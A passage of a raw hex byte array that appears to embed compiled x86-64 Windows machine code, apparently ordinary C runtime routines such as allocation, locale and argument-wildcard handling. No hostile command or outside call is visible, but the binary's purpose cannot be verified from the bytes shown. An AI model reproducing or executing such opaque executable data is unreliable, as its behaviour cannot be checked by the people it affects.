0x15, 0xa7, 0x97, 0x00, 0x00, 0xeb, 0x06, 0xff, 0x15, 0x0f, 0x96, 0x00, - 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, - 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, - 0x48, 0x83, 0xec, 0x50, 0x41, 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0xf2, - 0x4c, 0x8d, 0x0d, 0x71, 0xbb, 0x00, 0x00, 0x48, 0x8b, 0xe9, 0x4c, 0x8d, - 0x05, 0x5f, 0xbb, 0x00, 0x00, 0x48, 0x8d, 0x15, 0x60, 0xbb, 0x00, 0x00, - 0xb9, 0x14, 0x00, 0x00, 0x00, 0xe8, 0xce, 0xfb, 0xff, 0xff, 0x48, 0x85, - 0xc0, 0x74, 0x52, 0x4c, 0x8b, 0x84, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x44, - 0x8b, 0xcb, 0x48, 0x8b, 0x8c, 0x24, 0x98, 0x00, 0x00, 0x00, 0x8b, 0xd6, - 0x4c, 0x89, 0x44, 0x24, 0x40, 0x4c, 0x8b, 0xc7, 0x48, 0x89, 0x4c, 0x24, - 0x38, 0x48, 0x8b, 0x8c, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0x4c, - 0x24, 0x30, 0x8b, 0x8c, 0x24, 0x88, 0x00, 0x00, 0x00, 0x89, 0x4c, 0x24, - 0x28, 0x48, 0x8b, 0x8c, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x4c, - 0x24, 0x20, 0x48, 0x8b, 0xcd, 0xff, 0x15, 0xf9, 0x96, 0x00, 0x00, 0xeb, - 0x32, 0x33, 0xd2, 0x48, 0x8b, 0xcd, 0xe8, 0x3d, 0x00, 0x00, 0x00, 0x8b, - 0xc8, 0x44, 0x8b, 0xcb, 0x8b, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x4c, - 0x8b, 0xc7, 0x89, 0x44, 0x24, 0x28, 0x8b, 0xd6, 0x48, 0x8b, 0x84, 0x24, - 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0xff, 0x15, 0xb5, - 0x95, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, - 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x83, 0xc4, 0x50, 0x5f, 0xc3, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x8b, 0xfa, - 0x4c, 0x8d, 0x0d, 0xbd, 0xba, 0x00, 0x00, 0x48, 0x8b, 0xd9, 0x48, 0x8d, - 0x15, 0xb3, 0xba, 0x00, 0x00, 0xb9, 0x16, 0x00, 0x00, 0x00, 0x4c, 0x8d, - 0x05, 0x9f, 0xba, 0x00, 0x00, 0xe8, 0x02, 0xfb, 0xff, 0xff, 0x48, 0x8b, - 0xcb, 0x48, 0x85, 0xc0, 0x74, 0x0a, 0x8b, 0xd7, 0xff, 0x15, 0x72, 0x96, - 0x00, 0x00, 0xeb, 0x05, 0xe8, 0x4f, 0x4c, 0x00, 0x00, 0x48, 0x8b, 0x5c, - 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x89, 0x7c, 0x24, - 0x08, 0x48, 0x8d, 0x3d, 0x4c, 0x5c, 0x01, 0x00, 0x48, 0x8d, 0x05, 0x55, - 0x5d, 0x01, 0x00, 0x48, 0x3b, 0xc7, 0x48, 0x8b, 0x05, 0x43, 0x43, 0x01, - 0x00, 0x48, 0x1b, 0xc9, 0x48, 0xf7, 0xd1, 0x83, 0xe1, 0x22, 0xf3, 0x48, - 0xab, 0x48, 0x8b, 0x7c, 0x24, 0x08, 0xb0, 0x01, 0xc3, 0xcc, 0xcc, 0xcc, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x84, 0xc9, 0x75, 0x2f, 0x48, 0x8d, - 0x1d, 0x73, 0x5b, 0x01, 0x00, 0x48, 0x8b, 0x0b, 0x48, 0x85, 0xc9, 0x74, - 0x10, 0x48, 0x83, 0xf9, 0xff, 0x74, 0x06, 0xff, 0x15, 0x9f, 0x94, 0x00, - 0x00, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xc3, 0x08, 0x48, 0x8d, 0x05, - 0xf0, 0x5b, 0x01, 0x00, 0x48, 0x3b, 0xd8, 0x75, 0xd8, 0xb0, 0x01, 0x48, - 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, - 0xe8, 0xa7, 0xda, 0xff, 0xff, 0x48, 0x8d, 0x54, 0x24, 0x30, 0x48, 0x8b, - 0x88, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0x4c, 0x24, 0x30, 0x48, 0x8b, - 0xc8, 0xe8, 0xa2, 0xe7, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, - 0x8b, 0x00, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x55, - 0x48, 0x8b, 0xec, 0x48, 0x81, 0xec, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, - 0x05, 0x97, 0x42, 0x01, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x45, 0xf0, - 0x8b, 0xf2, 0x48, 0x63, 0xf9, 0x49, 0x8b, 0xd0, 0x48, 0x8d, 0x4d, 0xc8, - 0xe8, 0xaf, 0xb1, 0xff, 0xff, 0x8d, 0x47, 0x01, 0x33, 0xdb, 0x3d, 0x00, - 0x01, 0x00, 0x00, 0x77, 0x0d, 0x48, 0x8b, 0x45, 0xd0, 0x48, 0x8b, 0x08, - 0x0f, 0xb7, 0x04, 0x79, 0xeb, 0x7f, 0x48, 0x8b, 0x55, 0xd0, 0x8b, 0xc7, - 0xc1, 0xf8, 0x08, 0x41, 0xba, 0x01, 0x00, 0x00, 0x00, 0x0f, 0xb6, 0xc8, - 0x48, 0x8b, 0x02, 0x66, 0x39, 0x1c, 0x48, 0x7d, 0x10, 0x88, 0x4d, 0xc0, - 0x45, 0x8d, 0x4a, 0x01, 0x40, 0x88, 0x7d, 0xc1, 0x88, 0x5d, 0xc2, 0xeb, - 0x0a, 0x40, 0x88, 0x7d, 0xc0, 0x45, 0x8b, 0xca, 0x88, 0x5d, 0xc1, 0x33, - 0xc0, 0x44, 0x89, 0x54, 0x24, 0x30, 0x89, 0x45, 0xe8, 0x4c, 0x8d, 0x45, - 0xc0, 0x66, 0x89, 0x45, 0xec, 0x48, 0x8d, 0x4d, 0xd0, 0x8b, 0x42, 0x0c, - 0x41, 0x8b, 0xd2, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8d, 0x45, 0xe8, 0x48, - 0x89, 0x44, 0x24, 0x20, 0xe8, 0x33, 0x46, 0x00, 0x00, 0x85, 0xc0, 0x75, - 0x14, 0x38, 0x5d, 0xe0, 0x74, 0x0b, 0x48, 0x8b, 0x45, 0xc8, 0x83, 0xa0, - 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x33, 0xc0, 0xeb, 0x16, 0x0f, 0xb7, 0x45, - 0xe8, 0x23, 0xc6, 0x38, 0x5d, 0xe0, 0x74, 0x0b, 0x48, 0x8b, 0x4d, 0xc8, - 0x83, 0xa1, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x48, 0x8b, 0x4d, 0xf0, 0x48, - 0x33, 0xcc, 0xe8, 0x41, 0x8b, 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0x80, - 0x00, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x18, 0x49, - 0x8b, 0x7b, 0x20, 0x49, 0x8b, 0xe3, 0x5d, 0xc3, 0x40, 0x53, 0x48, 0x83, - 0xec, 0x20, 0x33, 0xdb, 0x48, 0x8d, 0x15, 0xa9, 0x5b, 0x01, 0x00, 0x45, - 0x33, 0xc0, 0x48, 0x8d, 0x0c, 0x9b, 0x48, 0x8d, 0x0c, 0xca, 0xba, 0xa0, - 0x0f, 0x00, 0x00, 0xe8, 0x9c, 0xfc, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x11, - 0xff, 0x05, 0xba, 0x5d, 0x01, 0x00, 0xff, 0xc3, 0x83, 0xfb, 0x0e, 0x72, - 0xd3, 0xb0, 0x01, 0xeb, 0x09, 0x33, 0xc9, 0xe8, 0x24, 0x00, 0x00, 0x00, - 0x32, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x48, 0x63, 0xc1, 0x48, - 0x8d, 0x0c, 0x80, 0x48, 0x8d, 0x05, 0x62, 0x5b, 0x01, 0x00, 0x48, 0x8d, - 0x0c, 0xc8, 0x48, 0xff, 0x25, 0xa7, 0x92, 0x00, 0x00, 0xcc, 0xcc, 0xcc, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8b, 0x1d, 0x78, 0x5d, 0x01, 0x00, - 0xeb, 0x1d, 0x48, 0x8d, 0x05, 0x3f, 0x5b, 0x01, 0x00, 0xff, 0xcb, 0x48, - 0x8d, 0x0c, 0x9b, 0x48, 0x8d, 0x0c, 0xc8, 0xff, 0x15, 0x8f, 0x92, 0x00, - 0x00, 0xff, 0x0d, 0x59, 0x5d, 0x01, 0x00, 0x85, 0xdb, 0x75, 0xdf, 0xb0, - 0x01, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0x48, 0x63, 0xc1, 0x48, - 0x8d, 0x0c, 0x80, 0x48, 0x8d, 0x05, 0x0e, 0x5b, 0x01, 0x00, 0x48, 0x8d, - 0x0c, 0xc8, 0x48, 0xff, 0x25, 0x5b, 0x92, 0x00, 0x00, 0xcc, 0xcc, 0xcc, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x33, 0xdb, 0x89, 0x5c, 0x24, 0x30, - 0x65, 0x48, 0x8b, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x48, - 0x20, 0x39, 0x59, 0x08, 0x7c, 0x11, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xe8, - 0x28, 0xfa, 0xff, 0xff, 0x83, 0x7c, 0x24, 0x30, 0x01, 0x74, 0x05, 0xbb, - 0x01, 0x00, 0x00, 0x00, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8b, 0xc2, 0x48, 0x8b, 0xd9, - 0x48, 0x85, 0xc9, 0x74, 0x0e, 0x33, 0xd2, 0x48, 0x8d, 0x42, 0xe0, 0x48, - 0xf7, 0xf3, 0x49, 0x3b, 0xc0, 0x72, 0x43, 0x49, 0x0f, 0xaf, 0xd8, 0xb8, - 0x01, 0x00, 0x00, 0x00, 0x48, 0x85, 0xdb, 0x48, 0x0f, 0x44, 0xd8, 0xeb, - 0x15, 0xe8, 0x5a, 0x25, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x28, 0x48, 0x8b, - 0xcb, 0xe8, 0xd6, 0x1a, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x1c, 0x48, 0x8b, - 0x0d, 0xff, 0x5c, 0x01, 0x00, 0x4c, 0x8b, 0xc3, 0xba, 0x08, 0x00, 0x00, - 0x00, 0xff, 0x15, 0x39, 0x92, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0xd1, - 0xeb, 0x0d, 0xe8, 0xf9, 0xdd, 0xff, 0xff, 0xc7, 0x00, 0x0c, 0x00, 0x00, - 0x00, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, - 0x48, 0x3b, 0xca, 0x73, 0x04, 0x83, 0xc8, 0xff, 0xc3, 0x33, 0xc0, 0x48, - 0x3b, 0xca, 0x0f, 0x97, 0xc0, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, - 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, - 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec, 0x30, 0x33, 0xdb, 0x41, - 0x8b, 0xe8, 0x48, 0x8b, 0xfa, 0x48, 0x8b, 0xf1, 0x48, 0x85, 0xc9, 0x75, - 0x22, 0x38, 0x5a, 0x28, 0x74, 0x0c, 0x48, 0x8b, 0x4a, 0x10, 0xe8, 0xbd, - 0xdd, 0xff, 0xff, 0x88, 0x5f, 0x28, 0x48, 0x89, 0x5f, 0x10, 0x48, 0x89, - 0x5f, 0x18, 0x48, 0x89, 0x5f, 0x20, 0xe9, 0x0e, 0x01, 0x00, 0x00, 0x38, - 0x19, 0x75, 0x55, 0x48, 0x39, 0x5a, 0x18, 0x75, 0x46, 0x38, 0x5a, 0x28, - 0x74, 0x0c, 0x48, 0x8b, 0x4a, 0x10, 0xe8, 0x91, 0xdd, 0xff, 0xff, 0x88, - 0x5f, 0x28, 0xb9, 0x02, 0x00, 0x00, 0x00, 0xe8, 0xc4, 0xdd, 0xff, 0xff, - 0x48, 0x89, 0x47, 0x10, 0x48, 0x8b, 0xcb, 0x48, 0xf7, 0xd8, 0x1b, 0xd2, - 0xf7, 0xd2, 0x83, 0xe2, 0x0c, 0x0f, 0x94, 0xc1, 0x85, 0xd2, 0x0f, 0x94, - 0xc0, 0x88, 0x47, 0x28, 0x48, 0x89, 0x4f, 0x18, 0x85, 0xd2, 0x74, 0x07, - 0x8b, 0xda, 0xe9, 0xbe, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x47, 0x10, 0x66, - 0x89, 0x18, 0xeb, 0x9e, 0x41, 0x83, 0xc9, 0xff, 0x89, 0x5c, 0x24, 0x28, - 0x4c, 0x8b, 0xc6, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x8b, 0xcd, 0x41, 0x8d, - 0x51, 0x0a, 0xe8, 0x39, 0x16, 0x00, 0x00, 0x4c, 0x63, 0xf0, 0x85, 0xc0, - 0x75, 0x16, 0xff, 0x15, 0xac, 0x90, 0x00, 0x00, 0x8b, 0xc8, 0xe8, 0x91, - 0xdc, 0xff, 0xff, 0xe8, 0xfc, 0xdc, 0xff, 0xff, 0x8b, 0x18, 0xeb, 0x7d, - 0x48, 0x8b, 0x4f, 0x18, 0x4c, 0x3b, 0xf1, 0x76, 0x43, 0x38, 0x5f, 0x28, - 0x74, 0x0c, 0x48, 0x8b, 0x4f, 0x10, 0xe8, 0x01, 0xdd, 0xff, 0xff, 0x88, - 0x5f, 0x28, 0x4b, 0x8d, 0x0c, 0x36, 0xe8, 0x35, 0xdd, 0xff, 0xff, 0x48, - 0x89, 0x47, 0x10, 0x48, 0x8b, 0xcb, 0x48, 0xf7, 0xd8, 0x1b, 0xd2, 0xf7, - 0xd2, 0x83, 0xe2, 0x0c, 0x49, 0x0f, 0x44, 0xce, 0x85, 0xd2, 0x0f, 0x94, - 0xc0, 0x88, 0x47, 0x28, 0x48, 0x89, 0x4f, 0x18, 0x85, 0xd2, 0x0f, 0x85, - 0x6c, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x47, 0x10, 0x41, 0x83, 0xc9, 0xff, - 0x89, 0x4c, 0x24, 0x28, 0x4c, 0x8b, 0xc6, 0x8b, 0xcd, 0x48, 0x89, 0x44, - 0x24, 0x20, 0x41, 0x8d, 0x51, 0x0a, 0xe8, 0xb1, 0x15, 0x00, 0x00, 0x48, - 0x63, 0xc8, 0x85, 0xc0, 0x0f, 0x84, 0x74, 0xff, 0xff, 0xff, 0x48, 0xff, - 0xc9, 0x48, 0x89, 0x4f, 0x20, 0x48, 0x8b, 0x6c, 0x24, 0x48, 0x8b, 0xc3, - 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x8b, - 0x7c, 0x24, 0x58, 0x48, 0x83, 0xc4, 0x30, 0x41, 0x5e, 0xc3, 0xcc, 0xcc, - 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, - 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec, - 0x40, 0x33, 0xdb, 0x45, 0x8b, 0xf0, 0x48, 0x8b, 0xfa, 0x48, 0x8b, 0xf1, - 0x48, 0x85, 0xc9, 0x75, 0x22, 0x38, 0x5a, 0x28, 0x74, 0x0c, 0x48, 0x8b, - 0x4a, 0x10, 0xe8, 0x45, 0xdc, 0xff, 0xff, 0x88, 0x5f, 0x28, 0x48, 0x89, - 0x5f, 0x10, 0x48, 0x89, 0x5f, 0x18, 0x48, 0x89, 0x5f, 0x20, 0xe9, 0x22, - 0x01, 0x00, 0x00, 0x66, 0x39, 0x19, 0x75, 0x54, 0x48, 0x39, 0x5a, 0x18, - 0x75, 0x46, 0x38, 0x5a, 0x28, 0x74, 0x0c, 0x48, 0x8b, 0x4a, 0x10, 0xe8, - 0x18, 0xdc, 0xff, 0xff, 0x88, 0x5f, 0x28, 0xb9, 0x01, 0x00, 0x00, 0x00, - 0xe8, 0x4b, 0xdc, 0xff, 0xff, 0x48, 0x89, 0x47, 0x10, 0x48, 0x8b, 0xcb, - 0x48, 0xf7, 0xd8, 0x1b, 0xd2, 0xf7, 0xd2, 0x83, 0xe2, 0x0c, 0x0f, 0x94, - 0xc1, 0x85, 0xd2, 0x0f, 0x94, 0xc0, 0x88, 0x47, 0x28, 0x48, 0x89, 0x4f, - 0x18, 0x85, 0xd2, 0x74, 0x07, 0x8b, 0xda, 0xe9, 0xd1, 0x00, 0x00, 0x00, - 0x48, 0x8b, 0x47, 0x10, 0x88, 0x18, 0xeb, 0x9e, 0x48, 0x89, 0x5c, 0x24, - 0x38, 0x41, 0x83, 0xc9, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x30, 0x4c, 0x8b, - 0xc6, 0x89, 0x5c, 0x24, 0x28, 0x33, 0xd2, 0x41, 0x8b, 0xce, 0x48, 0x89, - 0x5c, 0x24, 0x20, 0xe8, 0x14, 0x15, 0x00, 0x00, 0x48, 0x63, 0xe8, 0x85, - 0xc0, 0x75, 0x19, 0xff, 0x15, 0x2b, 0x8f, 0x00, 0x00, 0x8b, 0xc8, 0xe8, - 0x10, 0xdb, 0xff, 0xff, 0xe8, 0x7b, 0xdb, 0xff, 0xff, 0x8b, 0x18, 0xe9, - 0x85, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x18, 0x48, 0x3b, 0xe9, 0x76, - 0x42, 0x38, 0x5f, 0x28, 0x74, 0x0c, 0x48, 0x8b, 0x4f, 0x10, 0xe8, 0x7d, - 0xdb, 0xff, 0xff, 0x88, 0x5f, 0x28, 0x48, 0x8b, 0xcd, 0xe8, 0xb2, 0xdb, - 0xff, 0xff, 0x48, 0x89, 0x47, 0x10, 0x48, 0x8b, 0xcb, 0x48, 0xf7, 0xd8, - 0x1b, 0xd2, 0xf7, 0xd2, 0x83, 0xe2, 0x0c, 0x48, 0x0f, 0x44, 0xcd, 0x85, - 0xd2, 0x0f, 0x94, 0xc0, 0x88, 0x47, 0x28, 0x48, 0x89, 0x4f, 0x18, 0x85, - 0xd2, 0x0f, 0x85, 0x62, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x47, 0x10, 0x41, - 0x83, 0xc9, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x4c, 0x8b, 0xc6, 0x48, - 0x89, 0x5c, 0x24, 0x30, 0x33, 0xd2, 0x89, 0x4c, 0x24, 0x28, 0x41, 0x8b, - 0xce, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x81, 0x14, 0x00, 0x00, 0x48, - 0x63, 0xc8, 0x85, 0xc0, 0x0f, 0x84, 0x69, 0xff, 0xff, 0xff, 0x48, 0xff, - 0xc9, 0x48, 0x89, 0x4f, 0x20, 0x48, 0x8b, 0x6c, 0x24, 0x58, 0x8b, 0xc3, - 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0x74, 0x24, 0x60, 0x48, 0x8b, - 0x7c, 0x24, 0x68, 0x48, 0x83, 0xc4, 0x40, 0x41, 0x5e, 0xc3, 0xcc, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x54, 0x24, 0x10, 0x55, 0x56, - 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8b, 0xec, - 0x48, 0x83, 0xec, 0x60, 0x33, 0xff, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xd2, - 0x75, 0x16, 0xe8, 0xa5, 0xda, 0xff, 0xff, 0x8d, 0x5f, 0x16, 0x89, 0x18, - 0xe8, 0x7b, 0xd9, 0xff, 0xff, 0x8b, 0xc3, 0xe9, 0xa0, 0x01, 0x00, 0x00, - 0x0f, 0x57, 0xc0, 0x48, 0x89, 0x3a, 0x48, 0x8b, 0x01, 0xf3, 0x0f, 0x7f, - 0x45, 0xe0, 0x48, 0x89, 0x7d, 0xf0, 0x48, 0x85, 0xc0, 0x74, 0x56, 0x48, - 0x8d, 0x55, 0x50, 0x66, 0xc7, 0x45, 0x50, 0x2a, 0x3f, 0x48, 0x8b, 0xc8, - 0x40, 0x88, 0x7d, 0x52, 0xe8, 0x7b, 0x4b, 0x00, 0x00, 0x48, 0x8b, 0x0b, - 0x48, 0x85, 0xc0, 0x75, 0x10, 0x4c, 0x8d, 0x4d, 0xe0, 0x45, 0x33, 0xc0, - 0x33, 0xd2, 0xe8, 0x8d, 0x01, 0x00, 0x00, 0xeb, 0x0c, 0x4c, 0x8d, 0x45, - 0xe0, 0x48, 0x8b, 0xd0, 0xe8, 0x07, 0x03, 0x00, 0x00, 0x8b, 0xf0, 0x85, - 0xc0, 0x75, 0x09, 0x48, 0x83, 0xc3, 0x08, 0x48, 0x8b, 0x03, 0xeb, 0xb2, - 0x4c, 0x8b, 0x65, 0xe8, 0x4c, 0x8b, 0x7d, 0xe0, 0xe9, 0xf8, 0x00, 0x00, - 0x00, 0x4c, 0x8b, 0x7d, 0xe0, 0x4c, 0x8b, 0xcf, 0x4c, 0x8b, 0x65, 0xe8, - 0x49, 0x8b, 0xd7, 0x49, 0x8b, 0xc4, 0x48, 0x89, 0x7d, 0x50, 0x49, 0x2b, - 0xc7, 0x4c, 0x8b, 0xc7, 0x4c, 0x8b, 0xf0, 0x49, 0xc1, 0xfe, 0x03, 0x49, - 0xff, 0xc6, 0x48, 0x8d, 0x48, 0x07, 0x48, 0xc1, 0xe9, 0x03, 0x4d, 0x3b, - 0xfc, 0x48, 0x0f, 0x47, 0xcf, 0x48, 0x83, 0xce, 0xff, 0x48, 0x85, 0xc9, - 0x74, 0x25, 0x4c, 0x8b, 0x12, 0x48, 0x8b, 0xc6, 0x48, 0xff, 0xc0, 0x41, - 0x38, 0x3c, 0x02, 0x75, 0xf7, 0x49, 0xff, 0xc1, 0x48, 0x83, 0xc2, 0x08, - 0x4c, 0x03, 0xc8, 0x49, 0xff, 0xc0, 0x4c, 0x3b, 0xc1, 0x75, 0xdf, 0x4c, - 0x89, 0x4d, 0x50, 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xd1, - 0x49, 0x8b, 0xce, 0xe8, 0xf8, 0xc6, 0xff, 0xff, 0x48, 0x8b, 0xd8, 0x48, - 0x85, 0xc0, 0x74, 0x76, 0x4a, 0x8d, 0x14, 0xf0, 0x4d, 0x8b, 0xf7, 0x48, - 0x89, 0x55, 0xd8, 0x48, 0x8b, 0xc2, 0x48, 0x89, 0x55, 0x58, 0x4d, 0x3b, - 0xfc, 0x74, 0x56, 0x48, 0x8b, 0xcb, 0x49, 0x2b, 0xcf, 0x48, 0x89, 0x4d, - 0xd0, 0x4d, 0x8b, 0x06, 0x4c, 0x8b, 0xee, 0x49, 0xff, 0xc5, 0x43, 0x38, - 0x3c, 0x28, 0x75, 0xf7, 0x48, 0x2b, 0xd0, 0x49, 0xff, 0xc5, 0x48, 0x03, - 0x55, 0x50, 0x4d, 0x8b, 0xcd, 0x48, 0x8b, 0xc8, 0xe8, 0xfb, 0x48, 0x00, - 0x00, 0x85, 0xc0, 0x0f, 0x85, 0x83, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x45, - 0x58, 0x48, 0x8b, 0x4d, 0xd0, 0x48, 0x8b, 0x55, 0xd8, 0x4a, 0x89, 0x04, - 0x31, 0x49, 0x03, 0xc5, 0x49, 0x83, 0xc6, 0x08, 0x48, 0x89, 0x45, 0x58, - 0x4d, 0x3b, 0xf4, 0x75, 0xb4, 0x48, 0x8b, 0x45, 0x48, 0x8b, 0xf7, 0x48, - 0x89, 0x18, 0x33, 0xc9, 0xe8, 0x4f, 0xd9, 0xff, 0xff, 0x49, 0x8b, 0xdc, - 0x4d, 0x8b, 0xf7, 0x49, 0x2b, 0xdf, 0x48, 0x83, 0xc3, 0x07, 0x48, 0xc1, - 0xeb, 0x03, 0x4d, 0x3b, 0xfc, 0x48, 0x0f, 0x47, 0xdf, 0x48, 0x85, 0xdb, - 0x74, 0x14, 0x49, 0x8b, 0x0e, 0xe8, 0x2a, 0xd9, 0xff, 0xff, 0x48, 0xff, - 0xc7, 0x4d, 0x8d, 0x76, 0x08, 0x48, 0x3b, 0xfb, 0x75, 0xec, 0x49, 0x8b, - 0xcf, 0xe8, 0x16, 0xd9, 0xff, 0xff, 0x8b, 0xc6, 0x48, 0x8b, 0x9c, 0x24, - 0xa0, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x60, 0x41, 0x5f, 0x41, 0x5e, - 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0xc3, 0x45, 0x33, 0xc9, 0x48, - 0x89, 0x7c, 0x24, 0x20, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x33, 0xc9, 0xe8, - 0xc8, 0xd7, 0xff, 0xff, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, - 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x30, - 0x48, 0x83, 0xcd, 0xff, 0x49, 0x8b, 0xf9, 0x33, 0xf6, 0x4d, 0x8b, 0xf0, - 0x4c, 0x8b, 0xea, 0x4c, 0x8b, 0xe1, 0x48, 0xff, 0xc5, 0x40, 0x38, 0x34, - 0x29, 0x75, 0xf7, 0xba, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xc6, 0x48, - 0x03, 0xea, 0x48, 0xf7, 0xd0, 0x48, 0x3b, 0xe8, 0x76, 0x20, 0x8d, 0x42, - 0x0b, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, 0x68, 0x48, - 0x8b, 0x74, 0x24, 0x70, 0x48, 0x83, 0xc4, 0x30, 0x41, 0x5f, 0x41, 0x5e, - 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0xc3, 0x4d, 0x8d, 0x78, 0x01, 0x4c, 0x03, - 0xfd, 0x49, 0x8b, 0xcf, 0xe8, 0xeb, 0xf9, 0xff, 0xff, 0x48, 0x8b, 0xd8, - 0x4d, 0x85, 0xf6, 0x74, 0x19, 0x4d, 0x8b, 0xce, 0x4d, 0x8b, 0xc5, 0x49, - 0x8b, 0xd7, 0x48, 0x8b, 0xc8, 0xe8, 0xc6, 0x47, 0x00, 0x00, 0x85, 0xc0, - 0x0f, 0x85, 0xd8, 0x00, 0x00, 0x00, 0x4d, 0x2b, 0xfe, 0x4a, 0x8d, 0x0c, - 0x33, 0x49, 0x8b, 0xd7, 0x4c, 0x8b, 0xcd, 0x4d, 0x8b, 0xc4, 0xe8, 0xa9, - 0x47, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0xbb, 0x00, 0x00, 0x00, 0x48, - 0x8b, 0x4f, 0x08, 0x44, 0x8d, 0x78, 0x08, 0x4c, 0x8b, 0x77, 0x10, 0x49, - 0x3b, 0xce, 0x0f, 0x85, 0x9d, 0x00, 0x00, 0x00, 0x48, 0x39, 0x37, 0x75, - 0x2b, 0x41, 0x8b, 0xd7, 0x8d, 0x48, 0x04, 0xe8, 0x88, 0xf9, 0xff, 0xff, - 0x33, 0xc9, 0x48, 0x89, 0x07, 0xe8, 0xfe, 0xd7, 0xff, 0xff, 0x48, 0x8b, - 0x0f, 0x48, 0x85, 0xc9, 0x74, 0x42, 0x48, 0x8d, 0x41, 0x20, 0x48, 0x89, - 0x4f, 0x08, 0x48, 0x89, 0x47, 0x10, 0xeb, 0x6d, 0x4c, 0x2b, 0x37, 0x48, - 0xb8, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f, 0x49, 0xc1, 0xfe, - 0x03, 0x4c, 0x3b, 0xf0, 0x77, 0x1e, 0x48, 0x8b, 0x0f, 0x4b, 0x8d, 0x2c, - 0x36, 0x48, 0x8b, 0xd5, 0x4d, 0x8b, 